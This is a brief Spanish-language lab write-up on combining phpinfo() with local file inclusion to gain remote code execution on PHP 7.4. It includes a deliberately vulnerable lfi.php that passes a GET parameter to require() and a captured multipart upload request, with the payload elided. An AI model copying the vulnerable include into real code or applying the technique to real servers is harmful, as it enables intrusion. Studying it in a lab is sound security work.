PhpInfo + LFI = RCE
Creando el entorno
Version Actual
PHP Version 7.4.11
Crear los archivos en el directorio /var/www/html
┌─[root@parrot]─[/var/www/html]
└──╼ #cat phpinfo.php
<?php
phpinfo();
?>
┌─[root@parrot]─[/var/www/html]
└──╼ #cat lfi.php
<?php
require($_GET['file']);
?>
Ejecutando el Exploit
Analizando Exploit
En el codigo
Analizando con Wireshark
Packet HTTP Request
POST /phpinfo.php?a=A...A HTTP/1.1
HTTP_ACCEPT: A...A
HTTP_USER_AGENT: A...A
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714
Content-Length: 3661
Host: 127.0.0.1
-----------------------------7dbff1ded0714
Content-Disposition: form-data; name="dummyname"; filename="test.txt"
Content-Type: text/plain
Security Test
<?php
...code...;
?>
-----------------------------7dbff1ded0714--